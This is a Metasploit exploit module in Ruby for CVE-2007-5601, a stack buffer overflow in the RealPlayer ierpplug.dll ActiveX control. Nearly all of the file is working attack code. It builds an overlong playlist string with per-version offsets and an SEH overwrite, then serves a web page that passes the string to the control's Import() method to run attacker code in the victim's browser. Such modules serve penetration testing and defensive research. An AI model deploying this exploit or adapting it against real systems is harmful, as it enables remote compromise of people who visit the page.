##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow',
        'Description' => %q{
          This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and
          RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the "Import()"
          method, an attacker may be able to execute arbitrary code.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'MC' ],
        'References' => [
          [ 'CVE', '2007-5601' ],
          [ 'OSVDB', '41430' ],
          [ 'BID', '26130' ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 800,
          'BadChars' => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'IE / RealOne Player 2 (6.0.11.853)', { 'Offset' => 4756, 'Ret' => 0x601aa72b } ], # rpmn3260.dll (6.0.9.1419)
          [ 'IE / RealPlayer 10.5 (6.0.12.1483)', { 'Offset' => 4768, 'Ret' => 0x614bd13b } ], # rpmn3260.dll (6.0.9.2934)
        ],
        'DisclosureDate' => '2007-10-18',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def autofilter
    false
  end

  def check_dependencies
    use_zlib
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    filler = rand_text_english(target['Offset'])
    seh = generate_seh_payload(target.ret)
    sploit = filler + seh + rand_text_english(30724 - payload.encoded.length)

    # [id(0x60020009), helpstring("Imports a file to RealPlayer's Media Library")]
    # long Import(
    #                 [in] BSTR file,
    #                 [in, optional, defaultvalue("")] BSTR playlist,
    #                 [in, optional, defaultvalue("")] BSTR clipInfo,
    #                 [in, optional, defaultvalue(0)] long bPlayFile,
    #                 [in, optional, defaultvalue(0)] long bCopyToMyMusic);

    # Build out the message
    content = %Q|
      <html>
      <object classid='clsid:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5' id='#{vname}'></object>
      <script language='javascript'>
      var #{vname} = document.getElementById('#{vname}');
      var #{strname} = new String('#{sploit}');
      #{vname}.Import("Firstrun\\\\audio.rm" ,#{strname} ,"" ,0 ,0);
      </script>
      </html>
      |

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
